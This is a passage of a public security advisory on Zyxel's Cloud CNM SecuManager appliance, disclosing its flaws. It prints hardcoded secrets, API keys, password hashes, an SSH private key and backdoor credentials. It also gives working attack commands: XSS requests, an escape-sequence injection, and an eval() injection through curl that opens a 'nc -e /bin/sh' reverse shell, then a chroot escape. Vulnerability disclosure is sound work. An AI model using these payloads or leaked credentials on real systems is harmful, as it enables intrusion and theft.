ZODB is a native object database for Python.  
  
By default, a python process managing the 'Zope Object Database' runs  
on the appliance and  
is reachable over the network on port 8100/tcp without authentication:  
  
/usr/bin/python2.7  
/opt/axess/eggs/ZODB3-3.10.5-py2.7-linux-x86_64.egg/ZEO/runzeo.py -C  
/opt/axess/parts/zeo/etc/zeo.conf  
  
Configuration:  
  
root@chopin:/opt/axess/opt/axess/parts/zeo/etc# cat zeo.conf  
[...]  
address 8100  
read-only false  
[...]  
path /opt/axess/var/filestorage/Data.fs  
blob-dir /opt/axess/var/blobstorage  
[...]  
  
Futhermore, by default, the logfile contains multiple (=~ 100) entries  
from 2016 about 'insecure mode setting':  
  
2016-02-29T13:45:04 (17833) Blob dir /opt/axess/var/blobstorage/  
has insecure mode setting  
  
The blob directory has wrong permissions and is world-readable:  
  
root@chopin:/opt/axess/opt/axess/var/blobstorage# ls -latr  
total 16  
drwxr-xr-x 2 210 210 4096 Feb 29 2016 tmp  
-rw-r--r-- 1 210 210 0 Jul 12 2016 .removed  
-rwxr-xr-x 1 210 210 5 Mar 6 2018 .layout  
drwxr-xr-x 3 210 210 4096 Mar 6 2018 .  
drwxr-xr-t 6 210 210 4096 Dec 20 2019 ..  
root@chopin:/opt/axess/opt/axess/var/blobstorage#  
  
The `Data.fs` file has also wrong permissions and is world-readable:  
  
root@chopin:/opt/axess/opt/axess/var/blobstorage# ls -la  
/opt/axess/opt/axess/var/filestorage/Data.fs  
-rw-r--r-- 1 210 210 31398638 Mar 6 2018  
/opt/axess/opt/axess/var/filestorage/Data.fs  
  
This file contains cookies, password, hashes, access controls  
parameters, python code, serialized python variables and logs from  
TR-069:  
  
U<$2a$04$8B2Na1n.pzBrMw.8CTSBG.zDzWXnJug.qyvRnN/AxYhVFqkhFcmZ2q  
  
U*{SSHA}q3rGsS15vOGeM6Dv0xuwlF0uq91oIHoz0mD8q  
  
# {'CommandResponseList': {'CommandResponse': {'COMMAND':  
{'ERRNO': u'0', 'ERRMSG': u'OK', 'FORMAT': {'DATASET': {'ATTRIBUTE':  
[{'_Activate': u'YES'}, {'_ACS_URL':  
u'http://192.168.50.2:7549/V6ABQNTPYG'}, {'_ACS_Username':  
u'Wd6XbWa04D7Y'}, {'_ACS_Password': u'6H0pyh1IlyW8'}, {'_Username':  
''}, {'_Password': ''}, {'_Server_Type': u'TR069 ACS'},  
{'_Periodic_Inform': u'ENABLE'}, {'_Periodic_Inform_Interval':  
u'900'}, {'_HTTPS_Authentication': u'YES'}, {'_Vantage_Certificate':  
u'axess_dummy.crt'}, {'_CNM_ID_Switch': u'NO'},  
{'_Auto_get_ACS_Activate': u'NO'}, {'_CNM_ID': ''}, {'_XMPP_Activate':  
u'YES'}, {'_XMPP_Username': u'a2'}, {'_XMPP_Domain': u'chopin'},  
{'_XMPP_Resource': u'EC43F6FCC646'}, {'_XMPP_Host':  
u'192.168.50.2'}]}}}}}, 'ScriptFile':  
u'/etc/zyxel/ftp/.tmp/tr069download.dat', 'StartTime':  
u'2017-08-30T09:54:25', 'CompleteTime': u'2017-08-30T09:54:25'}  
  
#subtree = {'CommandResponseList': {'CommandResponse': {'COMMAND':  
{'ERRNO': u'0', 'ERRMSG': u'OK', 'FORMAT': {'DATASET': {'DATASET':  
{'ATTRIBUTE': [{'DS_VALUE': u'P2P_201506181030'}, {'IKD_ID': u'3'},  
{'negotiation_mode': u'main'}, {'SA_lifetime': u'86400'},  
{'key_group': u'group2'}, {'NAT_traversal': u'yes'},  
{'dead_peer_detection': u'yes'}, {'fall_back': u'deactivate'},  
{'fall_back_check_interval': u'300'}, {'authentication_method':  
u'pre-share'}, {'pre_shared_key': u'87654321'}, {'certificate':  
u'default'}, {'user_ID': ''}, {'type': ''}, {'VPN_connection':  
u'P2P_201506181030'}, {'vcp_reference_count': u'0'}, {'IKE_version':  
u'IKEv1'}, {'active': u'yes'}], 'DATASET': [{'ATTRIBUTE':  
[{'DS_VALUE': u'1'}, {'encryption': u'3des'}, {'authentication':  
u'sha'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'192.168.50.3'}, {'type':  
u'ip'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'1'}, {'address':  
u'192.168.50.8'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'2'}, {'address':  
u'0.0.0.0'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'B0B2DC7189C4'}, {'type':  
u'fqdn'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'201506181030'}, {'type':  
u'fqdn'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'no'}, {'type': ''},  
{'method': ''}, {'username': ''}, {'password': ''}]}, {'ATTRIBUTE':  
[{'DS_VALUE': u'no'}, {'type': ''}, {'aaa_method': ''},  
{'allowed_user': ''}, {'allowed_auth_method': u'mschapv2'},  
{'username': ''}, {'auth_method': u'mschapv2'}, {'password':  
''}]}]}}}}}}, 'ScriptFile': u'/etc/zyxel/ftp/.tmp/tr069download.dat',  
'StartTime': u'2017-06-21T04:10:09', 'CompleteTime':  
u'2017-06-21T04:10:09'}  
  
Exposing this service on the WAN is likely to be a bad idea and will  
result as a pre-auth RCE as `axess`.  
  
  
  
## Details - MyZyxel 'Cloud' Hardcoded Secret  
  
The device can connect to the MyZyxel service. The code responsible to  
exchange information between the appliance and the 'Cloud' is written  
in java.  
  
The JAR file is executed from `myzyxel.pyc` using `subprocess.Popen`:  
  
def decrypt(encrypted_string, encrypted_secret_key,  
action='aes_decode_with_plain_key'):  
JAVA_PROGRAM = 'java'  
Delegate_Util =  
'/opt/axess/Extensions/custom_code/MZCDelegate-protect.jar'  
RESULT_DECODING = 'UTF-8'  
sp = subprocess.Popen([JAVA_PROGRAM, '-jar', Delegate_Util,  
action, encrypted_secret_key, encrypted_string],  
stdout=subprocess.PIPE, stderr=subprocess.PIPE)  
[...]  
  
The `MZCDelegate-protect.jar` file contains specific Zyxel code for  
encryption and has an interesting hardcoded resource file (`IV.dat`).  
When reading the java code, it appears this `IV.dat` resource is used  
as as Secret Key along with a defined Initialization Vector  
(containing only 0s).  
It seems this behavior may not completely follow best practices when  
dealing with encryption:  
  
[...]  
public final String a(String str) {  
IvParameterSpec ivParameterSpec = new IvParameterSpec(new  
byte[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0});  
ObjectInputStream objectInputStream = new  
ObjectInputStream(getClass().getResourceAsStream("/IV.dat"));  
try {  
Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding");  
instance.init(2, (SecretKeySpec)  
objectInputStream.readObject(), ivParameterSpec);  
String str2 = new  
String(instance.doFinal(Base64.decodeBase64(str)));  
objectInputStream.close();  
return str2;  
}  
[...]  
  
Content of `IV.dat`:  
  
vm# hexdump -C ./resources/IV.dat  
00000000 ac ed 00 05 73 72 00 1f 6a 61 76 61 78 2e 63 72  
|....sr..javax.cr|  
00000010 79 70 74 6f 2e 73 70 65 63 2e 53 65 63 72 65 74  
|ypto.spec.Secret|  
00000020 4b 65 79 53 70 65 63 5b 47 0b 66 e2 30 61 4d 02  
|KeySpec[G.f.0aM.|  
00000030 00 02 4c 00 09 61 6c 67 6f 72 69 74 68 6d 74 00  
|..L..algorithmt.|  
00000040 12 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69  
|.Ljava/lang/Stri|  
00000050 6e 67 3b 5b 00 03 6b 65 79 74 00 02 5b 42 78 70  
|ng;[..keyt..[Bxp|  
00000060 74 00 03 41 45 53 75 72 00 02 5b 42 ac f3 17 f8  
|t..AESur..[B....|  
00000070 06 08 54 e0 02 00 00 78 70 00 00 00 20 ac d3 eb  
|..T....xp... ...|  
00000080 1d 3c c1 af 97 82 59 ab 2b d5 00 9d 64 1f b5 1c  
|.<....Y.+...d...|  
00000090 bf 49 ed 2a 23 7c 65 f0 97 54 cc 88 09 |.I.*#|e..T...|  
0000009d  
  
Finally, it is interesting to note that `myzyxel.pyc` contains also  
hardcoded credentials:  
  
user_key_id = '4B1D916BE2FA76042316'  
user_secret = 'PAZsJJ55frFmNivjAzgjYPC4fCQc3Wi9WVVZ5w=='  
  
  
  
## Details - Hardcoded Secrets, API  
  
When reading the source code of the web (Python) application, it  
appears some critical variables are being imported:  
  
root@chopin:/opt/axess/opt/axess# cat  
/opt/axess/opt/axess/zyxel/zyxel_customizations/live.CloudCNMEntryPoint/config/config.py  
axess_config = container.TR69Utils.get_axess_default_config()  
config = {  
"zyxel_portal": {  
"host": axess_config.get('ZYXEL_PORTAL_HOST'),  
"app_key": axess_config.get('APP_KEY'),  
"login_redirect_uri": "/live/CloudCNMEntryPoint",  
"logout_redirect_uri": "/live/CloudCNMEntryPoint"  
}, "oauth_secret_key": axess_config.get('OAUTH_SECRET_KEY'),  
"jwt_secret": axess_config.get('SERVER_ACCESS_SECRET'),  
"jwt_secret_id": axess_config.get('SERVER_ACCESS_KEY_ID'),  
"account_api_url": axess_config.get('ACCOUNT_API_URL'),  
"https_verify": axess_config.get('HTTPS_VERIFY') == True,  
}  
  
The hardcoded configuration parameters come directly from the  
`/opt/axess/etc/default/axess` file:  
  
NBI_USER="admin"  
NBI_PASS="ax"  
# Zyxel specific parameters  
SERVER_ACCESS_KEY_ID=""  
SERVER_ACCESS_SECRET=""  
CNMS_API_URL="https://api.myzyxel.com/v1/my/cloud_cnms"  
SECU_API_URL="https://api.myzyxel.com/v2/my/secu_managers"  
APP_KEY="85ca73265e977fd46805163b8f7d66b0395b56f31b7e5850f2514f10d41a482b"  
OAUTH_SECRET_KEY="SvaK1LoGZMu8ZgZ6TKJGCwx+xiEBooSLmaQUiyAyUDTDbHFZtT3PCob9QL/pfzA3oGw0t0ANVO4KTbkrAwonP4lL+ax0ijqS9cAtTPGSMfw="  
ZYXEL_PORTAL_HOST="https://portal.myzyxel.com/"  
DECRYPT_URL=""  
  
Furthermore, the permissions of this file allows any user to read this file:  
  
root@chopin:/opt/axess/opt/axess# ls -la /opt/axess/etc/default/axess  
-rw-r--r-- 1 root root 2607 Mar 6 2018 /opt/axess/etc/default/axess  
  
These hardcoded keys are used for secure communications between the  
appliance and the 'Cloud' management.  
  
  
  
## Details - Predefined passwords for admin accounts  
  
By default, we can extract the pre-defined admin and the pre-defined  
users from mysql:  
  
mysql> select * from Administrator_users;  
+-------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+  
| uid | props  
  
  
  
|  
+-------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+  
| admin | {'username': 'admin', 'created_ts': 'Mon Mar 21 15:48:12  
2016', 'roles': (), 'authdbid': 'Administrator-911324', 'created_by':  
'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''},  
'password': '$2a$04$O2K8FGHtvfaLE7QaIVlgP.GO0CWfrwwBuFBRNTvghCrfvf.nZAg0C',  
'id': 'admin'} |  
+-------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+  
1 row in set (0.00 sec)  
  
mysql> select * from Users_users;  
+-------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+  
| uid | props  
  
  
  
|  
+-------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+  
| admin | {'username': 'admin', 'created_ts': 'Fri May 8 11:25:20  
2015', 'roles': ['Manager'], 'authdbid': 'Users-342940',  
'password_change_ts': 'Mon Jun 8 15:45:45 2015', 'created_by':  
'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''},  
'password': '$2a$04$4YkCCSqUFy4hf/5WluCok./OVGe2LSQZNF4IR4Je5H7xqzfMrivmm',  
'id': 'admin'} |  
+-------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+  
  
By doing some forensic, it is also trivial to extract previous admin/users:  
  
root@chopin:/opt/mysql/var/lib/mysql/live# strings Administrator_users.*  
{'username': 'admin', 'created_ts': 'Mon Mar 21 15:48:12 2016',  
'roles': (), 'authdbid': 'Administrator-911324', 'created_by':  
'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''},  
'password': '$2a$04$O2K8FGHtvfaLE7QaIVlgP.GO0CWfrwwBuFBRNTvghCrfvf.nZAg0C',  
'id': 'admin'}  
, 'id': 'admin'}  
me': 'greg', 'created_ts': 'Mon Oct 12 13:01:38 2015', 'roles':  
(), 'authdbid': 'Administrator-911324', 'password_change_ts': 'Thu Mar  
3 09:33:36 2016', 'created_by': 'axiros', 'miscProps': {},  
'additional_props': {'fullname': ''}, 'password':  
'$2a$04$ZKtY/VngGeHngrO55Rv.N.I3rPXdUuY3tEC3Tg1LuGSUwJJIOR3PW', 'id':  
'greg'}  
me': 'yjyeh', 'created_ts': 'Wed Feb 17 11:47:07 2016', 'roles':  
(), 'authdbid': 'Administrator-911324', 'created_by': 'lorinyeh',  
'miscProps': {}, 'additional_props': {'fullname': ''}, 'password':  
'$2a$04$rhS/v/aR8rkBCXL0f9iD.OhT9Gb9hwuvh.0KpuQBLgFfZzMMOeCnS', 'id':  
'yjyeh'}  
me': 'wang', 'created_ts': 'Tue Feb 23 22:24:11 2016', 'roles':  
(), 'authdbid': 'Administrator-911324', 'password_change_ts': 'Tue Feb  
23 22:49:27 2016', 'created_by': 'axiros', 'miscProps': {},  
'additional_props': {'fullname': ''}, 'password':  
'$2a$04$ZbDh/hVwIR7vhykP2Du2eO6r4NcKE2kzKX3/./j9dL14JrO8FR5FS', 'id':  
'wang'}  
': 'ir', 'created_ts': 'Wed Mar 2 23:30:58 2016', 'roles': (),  
'authdbid': 'Administrator-911324', 'password_change_ts': 'Wed Mar 2  
23:31:34 2016', 'created_by': None, 'miscProps': {},  
'additional_props': {'fullname': 'Axiros Gmbh Ingo Rubach'},  
'password': '$2a$04$RxHVLGGKb3E6fhd32FJWSeObJmQpcEDJM62lgzL8bxLqPDsH9LSdi',  
'id': 'ir'}  
admin  
yjyeh  
  
These information can be useful to find backdoor access.  
  
  
  
## Details - Insecure management over the 'Cloud'  
  
By default, myzxel.pyc used for communication to the 'Cloud' uses some  
hardcoded variables for communication over HTTPS:  
  
SERVER_ACCESS_KEY_ID = get_cfg_val('SERVER_ACCESS_KEY_ID')  
SERVER_ACCESS_SECRET = get_cfg_val('SERVER_ACCESS_SECRET')  
CNMS_API_URL = get_cfg_val('CNMS_API_URL')  
HTTPS_VERIFY = get_cfg_val('HTTPS_VERIFY') == 'true'  
  
SERVER_ACCESS_KEY_ID will be generated by the Cloud server  
SERVER_ACCESS_SECRET will be generated by the Cloud server  
CNMS_API_URL will be https://api.myzyxel.com/v2/my/secu_managers  
  
  
The function `get_account_info` uses the `account_id`, the  
`jwt_secret` and the `jwt_secret_id`:  
  
106 def get_account_info(account_id, jwt_secret, jwt_secret_id):  
[...]  
107 payload = [...] # 1. generation of the payload  
110 jwt_token = jwt_gen(payload, jwt_secret) # 2. jwt_gen  
encodes the post payload using the empty jwt_secret value  
111 post_data = {'access_key_id': jwt_secret_id,# 3. new post  
data contains access_key_id=&token=post-data  
112 'token': jwt_token} #  
113 try:  
114 r = requests.get(SECU_API_URL, verify=HTTPS_VERIFY,  
data=post_data)  
115 r.raise_for_status() # ^^- 4. the request is sent to  
https://api.myzyxel.com/v2/my/secu_managers  
116 response = r.json()  
117 except requests.exceptions.ConnectionError as e:  
118 response = 'ConnectionError'  
119  
120 return response  
  
102 def jwt_gen(payload, secret, algorithm='HS256'):  
103 return jwt.encode(payload, secret, algorithm)  
  
The jwt_secret and jwt_secret_id are generated as unique key for each appliance.  
  
But an attacker can extract them using backdoors APIs (please read the  
sub-section `Backdoor APIs`)  
or by using the anonymous access to the ZODB interface and decrypting  
the secret account_id value.  
  
Also, the connection to the cloud in myzyxel.pyc is done over HTTPS.  
The Python script is using the requests module,  
with the HTTPS_VERIFY variable set to false from /opt/axess/etc/default/axess:  
  
root@chopin:~# cat /opt/axess/etc/default/axess  
[...]  
# true or false is allowed  
HTTPS_VERIFY=false  
[...]  
  
  
When reading `myzyxel.pyc`, the value of `HTTPS_VERIFY` is always false.  
So the verification of certificate is never done from the appliance,  
allowing an attacker to MITM the HTTPS requests:  
  
19 HTTPS_VERIFY = get_cfg_val('HTTPS_VERIFY') == 'true'  
[...]  
114 r = requests.get(SECU_API_URL, verify=HTTPS_VERIFY,  
data=post_data)  
[...]  
146 r = requests.patch(url, verify=HTTPS_VERIFY, data=post_data)  
[...]  
180 r = requests.patch(url, verify=HTTPS_VERIFY, data=post_data)  
[...]  
229 r = requests.post(url, verify=HTTPS_VERIFY, data=post_data)  
[...]  
253 r = requests.get(url, verify=HTTPS_VERIFY, data=post_data)  
[...]  
279 r = requests.patch(url, verify=HTTPS_VERIFY, data=post_data)  
  
The non-verification of SSL seems to be a standard practice in the code. e.g.:  
  
ret = requests.get('https://service-dispatcher.cloud.zyxel.com/s/geoip/v1/geoInfo?ipAddress='  
+ cpeIp, verify=False, timeout=2)  
  
It is recommended to avoid using the cloud functionality  
(api.myzyxel.com - 54.174.11.58 AWS, 18.234.22.109 AWS and 54.84.22.89  
AWS).  
  
  
  
## Details - xmppCnrSender.py log escape sequence injection  
  
The Python script `xmppCnrSender.py` is running as root and provides  
an open HTTP/1.1-to-XMPP gateway on port 8083/tcp on the WAN interface  
for CPEs management.  
  
The logs written in `/var/log/axxmpp.log` are not sanitized and  
an attacker can send escape sequence injections.  
  
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload  
nc -v [ip] 8083 < payload  
  
(code from from http://www.ush.it/team/ush/hack_httpd_escape/adv.txt)  
  
This is likely to change the admin's terminal title to 'owned?' when  
he runs `cat /var/log/axxmpp.log` or `tail -f /var/log/axxmpp.log`.  
  
Also, this will add some fun to this long journey.  
  
  
  
## Details - xmppCnrSender.py no authentication and clear-text communication  
  
The Python script `xmppCnrSender.py` is running as root and provides  
a open HTTP/1.1-to-XMPP gateway on port 8083/tcp on the WAN interface  
for CPEs management.  
  
2 Apis are provided:  
  
- - /registerCpe/?JID=%(username)s&PWD=%(password)s  
- - /cnr/?JID=%(jabberid)s&CRUs=%(username)s&CRP=%(password)s  
  
By default the traffic is not encrypted.  
  
Furthermore, the registration is open and anyone can create accounts.  
  
  
  
## Details - Incorrect HTTP requests cause out of range access in Zope  
  
By default, Apache2 is running on ports 9673/tcp and 80/tcp on the WAN  
interface. It provides an interface to a Zope WSGI.  
  
By sending invalid HTTP requests, it is possible to cause exceptions  
in Zope because of the lack of the '/' in the HTTP version:  
  
vm# telnet 192.168.1.1 9673  
GET / yolo <---- yolo is used instead of 'PROTOCOL/VERSION'  
  
  
HTTP/1.1 500 Internal Server Error  
[...]  
  
An error occurred. See the error logs for more information.  
<type 'exceptions.IndexError'> - list index out of range  
  
  
The problem appears to come from the Zope library:  
https://github.com/zopefoundation/Zope/blob/master/src/ZPublisher/WSGIPublisher.py#L347:  
  
343 new_response = (  
344 _response  
[...]  
347 new_response._http_version =  
environ['SERVER_PROTOCOL'].split('/')[1]  
  
  
  
## Details - XSS on the web interface  
  
The webinterface on ports 80/tcp and 9673/tcp is prone to a lot of XSS:  
  
vm# curl -v  
'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/handle_campaign_script_link?JSON=1&script_name=<XSS>'  
<XSS>  
  
vm# curl -v  
'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/handle_campaign_script_link?script_name=<ddaaaaa>'  
<a title="<ddaaaaa>" href="/<ddaaaaa>/manage" target="_blank"><ddaaaaa></a>#  
  
vm# curl -v  
'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/generate_sp_link?cid2=<xss>'  
<xss>  
  
Finding others XSS is left as an exercise for the reader.  
  
  
  
## Details - Private SSH key  
  
The system contains an hardcoded SSH Key in the TR69 configuration:  
  
root@chopin:/opt/axess/opt/axess/AXAssets# cat  
/opt/axess/opt/axess/AXAssets/default_axess/axess/TR69/Handlers/turbolink/sshkeys/id_rsa  
-----BEGIN RSA PRIVATE KEY-----  
MIICXAIBAAKBgQDC4GnOyypL29jIK3cye/MDRXobza+4gdCF9hUKxKdA/HRpeOB1  
vPZ5FuQRFR6tSHACOd5xAMILnWMhu/c4F9o/gDF1ZrfsyUJ39seTVBKQFBesgZlF  
Xjmf/zBatrpc0DwvpxY1ql0CHGt8G3OO2f3rbRJBkFTMXfF9xUmEudH4nQIBIwKB  
gCFoTKcbg5f5zWQktVkckA8we1U5NBEAT6Hvq9X104d7vC9WjOD70nsoft5bZFg4  
Tbc9HtGLGfNczypavKqHvwNFgwryFO2pzlv6NsqvqPXi56rO5GNb5yGrve6k+4aH  
X3BDfxd1SbRIYZuYAgAmLXe8yDcDRixBKbrVQUtJXhULAkEA8T6HyD0Lp2wKfwgo  
nMJ7Qz5F3h/2cSCyYyLHj91i56m9KcLJBiJ2AeVYO4hcV3InlOpQ7osU5cdhJK0S  
QRnAkQJBAM7L2G+rdsNNVO7VIbahJSU8rOyaYKpUqTI5ow8hvn2QY55DY81h8HRM  
wuk03E6CiWBCr7lbCqa2sBn05fdovU0CQQC6Gkt9NmgTcJph/vrCEl8WncDeja97  
12UKpc0l1qtiQRzls4Uh/VO4UdZZz5exLC0pvBKMIiYQV/p7YPDTIn6bAkEAn4dP  
MZLmlqlext7uHyva05U08Qlgg2Xhm8YQEvzGJllxa3XQpcCU7ACznfWUAgztogeO  
33IeKNYS0jHzOzOKtwJBAKnIlBv1GAW8vEcmTC2NRPCPm9Ta//04rk6DTsl1SaU4  
8Zav73P9sJWbnOCzBRI7qaHjK6Zx9L9h04bdk5uvdeE=  
-----END RSA PRIVATE KEY-----  
root@chopin:/opt/axess/opt/axess/AXAssets#  
  
  
  
## Details - Backdoor APIs  
  
Some APIs are reachable without authentication and don't have any documentation.  
The codes exist as object inside the ZDOB:  
  
- - http://[ip]:9673/update_all_realm_license?cnmid=%s  
- - http://[ip]:9673/zy_install_user  
- - http://[ip]:9673/zy_install_user_key  
- - http://[ip]:9673/zy_get_user_id_and_key?cnmid=%s' % cnmid <-  
allows to dump the 'access_key_id' and the 'secret_access_key'  
- - http://[ip]:9673/zy_get_instances_for_update  
- - http://[ip]:9673/live/GLOBALS?key=CLOUDCNM  
  
- - http://[ip]/update_all_realm_license?cnmid=%s  
- - http://[ip]/zy_install_user  
- - http://[ip]/zy_install_user_key  
- - http://[ip]/zy_get_user_id_and_key?cnmid=%s' % cnmid <- allows to  
dump the 'access_key_id' and the 'secret_access_key'  
- - http://[ip]/zy_get_instances_for_update  
- - http://[ip]/live/GLOBALS?key=CLOUDCNM  
  
`/zy_get_user_id_and_key` seems to allow an attacker to dump the  
`access_key_id` and  
the `secret_access_key` used for the 'Cloud' configuration, without  
authentication.  
  
  
  
## Details - Backdoor management access and RCE  
  
The web interface on ports 80/tcp and 9673/tcp has a backdoor  
management access allowing to download and upload python code,  
templates, webpages and ZEXPs.  
  
The credentials are: axiros / q6xV4aW8bQ4cfD-b  
  
We are using the available `zcp.py` tool in `/opt/axess/opt/axess/zyxel`.  
This pre-written tool allows to upload some files remotely and update  
the ZODB objects.  
  
We download the files:  
  
vm# ./zcp.py -v -r -f -u axiros -p q6xV4aW8bQ4cfD-b  
http://192.168.1.1:9673/live/CPEManager/AXCampaignManager dir  
axess root@chopin:/opt/axess/zyxel/tmp# ./zcp.py -v -r -f -u  
axiros -p q6xV4aW8bQ4cfD-b  
http://192.168.1.1:9673/live/CPEManager/AXCampaignManager dir  
DEBUG:root:Download mode engaged  
INFO:requests.packages.urllib3.connectionpool:Starting new HTTP  
connection (1): 192.168.1.1  
DEBUG:requests.packages.urllib3.connectionpool:"GET  
/live/manage_main?__ac_name=axiros&__ac_password=q6xV4aW8bQ4cfD-b  
HTTP/1.1" 200 4335  
DEBUG:requests.packages.urllib3.connectionpool:"GET  
/live/CPEManager/AXCampaignManager/manage_main HTTP/1.1" 200 3680  
DEBUG:requests.packages.urllib3.connectionpool:"GET  
/live/CPEManager/AXCampaignManager/charts/manage_main HTTP/1.1" 200  
3374  
DEBUG:root:Downloading .py at charts campaign_line_chart_html  
[...]  
DEBUG:requests.packages.urllib3.connectionpool:"GET  
/live/CPEManager/AXCampaignManager/campaign_log_actions/document_src  
HTTP/1.1" 200 347  
Download complete at 11:11:14, took 0.2794 Seconds  
  
We add the python code inside `dir/handle_campaign_script_link.py`:  
  
vm# echo 'return 1 + 1' > dir/handle_campaign_script_link.py  
  
We then upload the updated python file using the provided zcp.py tool:  
  
vm# ./zcp.py -v -r -f -u axiros -p q6xV4aW8bQ4cfD-b dir  
http://192.168.1.1:9673/live/CPEManager/AXCampaignManager  
DEBUG:root:Upload mode engaged  
INFO:requests.packages.urllib3.connectionpool:Starting new HTTP  
connection (1): 192.168.1.1  
DEBUG:requests.packages.urllib3.connectionpool:"GET  
/live/manage_main?__ac_name=axiros&__ac_password=q6xV4aW8bQ4cfD-b  
HTTP/1.1" 200 4335  
DEBUG:requests.packages.urllib3.connectionpool:"GET  
/live/CPEManager/AXCampaignManager/manage_main HTTP/1.1" 200 3680  
[...]  
  
Testing the execution of Python:  
  
vm# curl 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/handle_campaign_script_link'  
2  
  
Python code is sucessfully executed on the appliance as `axess`.  
  
  
  
## Details - Pre-auth RCE with chrooted access  
  
It is possible to achieve RCE by abusing an insecure API due to unsafe  
calls to eval():  
  
vm# curl "http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/delete_cpes_by_ids?cpe_ids=__import__('os').system('id>/tmp/a')"  
  
Output is stored in the "Axess" chroot:  
  
root@chopin:/opt/axess/tmp# cat /opt/axess/tmp/a  
uid=210(axess) gid=210(axess) groups=210(axess)  
  
It is also possible to get a connect-back shell:  
  
vm# curl "http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/delete_cpes_by_ids?cpe_ids=__import__('os').system('nc+-e+/bin/sh+192.168.1.2+1337')"  
  
On 192.168.1.2, the attacker receives the shell:  
  
vm# nc -l -v -p 1337  
listening on [any] 1337 ...  
connect to [192.168.1.2] from (UNKNOWN) [192.168.1.1] 39910  
id  
uid=210(axess) gid=210(axess) groups=210(axess)  
uname -ap  
Linux chopin 3.2.0-5-amd64 #1 SMP Debian 3.2.96-3 x86_64 GNU/Linux  
  
Also, even if the shell is within a chrooted environment, it is  
possible to break the chroot using a LPE and  
the fact that /proc is mounted inside the chroot:  
  
vm# nc -l -v -p 1337  
listening on [any] 1337 ...  
connect to [192.168.1.2] from (UNKNOWN) [192.168.1.1] 39910  
id  
uid=0(root) gid=0(root) groups=0(root)  
ls / | head  
bin  
boot  
dev  
etc  
home  
lib  
lib64  
media  
mnt  
opt  
chroot /proc/1/root # PRISON BREAK!  
ls / | head  
bin  
boot  
dev  
etc  
home  
initrd.img  
initrd.img.old  
lib  
lib64  
lost+found  
  
  
  
## Vendor Response  
  
Full-disclosure is applied as we believe some backdoors are  
intentionally placed by the vendor.  
Also, there are likely to be way more 0day vulnerabilities in the  
appliance, but we decided not to dig more due to time constraints.  
On a side note, the solution also contains some SQLi, some references  
to ISPs in Greece(?!?) and Germany.  
  
  
  
## Report Timeline  
  
* Dec 20, 2019: Vulnerabilities found and this advisory was written.  
* Mar 09, 2020: A public advisory is sent to security mailing lists.  
  
  
  
## Credits  
  
These vulnerabilities were found by Pierre Kim (@PierreKimSec) and  
Alexandre Torres.  
  
  
  
## References  
  
https://pierrekim.github.io/advisories/2020-zyxel-0x00-secumanager.txt  
  
https://pierrekim.github.io/blog/2020-03-09-zyxel-secumanager-0day-vulnerabilities.html  
  
  
  
## Disclaimer  
  
This advisory is licensed under a Creative Commons Attribution Non-Commercial  
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/  
  
  
-----BEGIN PGP SIGNATURE-----  
  
iQIzBAEBCgAdFiEEoSgI9MSrzxDXWrmCxD4O2n2TLbwFAl5l0sYACgkQxD4O2n2T  
Lbz5hQ/9GVKujOGnDzo6n7L7LW7ZV73qI0K3tYm17vXF3Q6D9d05NFpxGD9yRfTk  
1zvz+G7wsKEW/CIk7ZzpMMd0WlOWYTvgpfBFCh+5WOyMwDwmVdXVTSAoHKuDvZog  
Ws5CuF/UMlQ5oadHmWynaqMapH8ZPrTDpAoPNfABBy3X/26AA35hWJFif6sjW9Ui  
6YODigH5sT4/qy3G+vAVDR3er4D6vg97tEdSE2TwFAuYYqxYlN6P3bD2OSCKyAbv  
PlXr3mJJ7Of9BoRA3l/1bcHnT8o5IYpDUnDDPMnqHlPIPiPoIVezHxY17EZklQS1  
Jt+H+mEZMljNmSnaYeHAHvjcp0heIQLu6OKXv+bSu+sx50dshRcSTmfjZDe9N9ba  
2R4ZI346+VlY3BEOFzuDwQLkUSQNgBT1OJa9wYc6+ssqw0XTRQdIc5Vcubv26Kkp  
Jqk38/jciF+pvDLhXBmY5Us6Uw0xyQa4RKOyDDHyYfAdxkTdPyNMbJCjCMFljlst  
R6J9NoTtGivs+8oNnIkvfcYdPIolzz6tSBbWfMlOEvFWo/eijfKQzJ/ZO9wkOD9X  
7/7Nk1rU68a9reIBL9U/afA56cgPyxBmPF0wk4+b9+vNNI2LKRtweXtQeFC5e7uf  
rzE5/7nXwRAtn1EcA9+UTYBLd10T2IB7AqlY9ZS3bdOE//2hiJU=  
=YGYp  
-----END PGP SIGNATURE-----  
  
--   
Pierre Kim  
pierre.kim.sec@gmail.com  
@PierreKimSec  
https://pierrekim.github.io/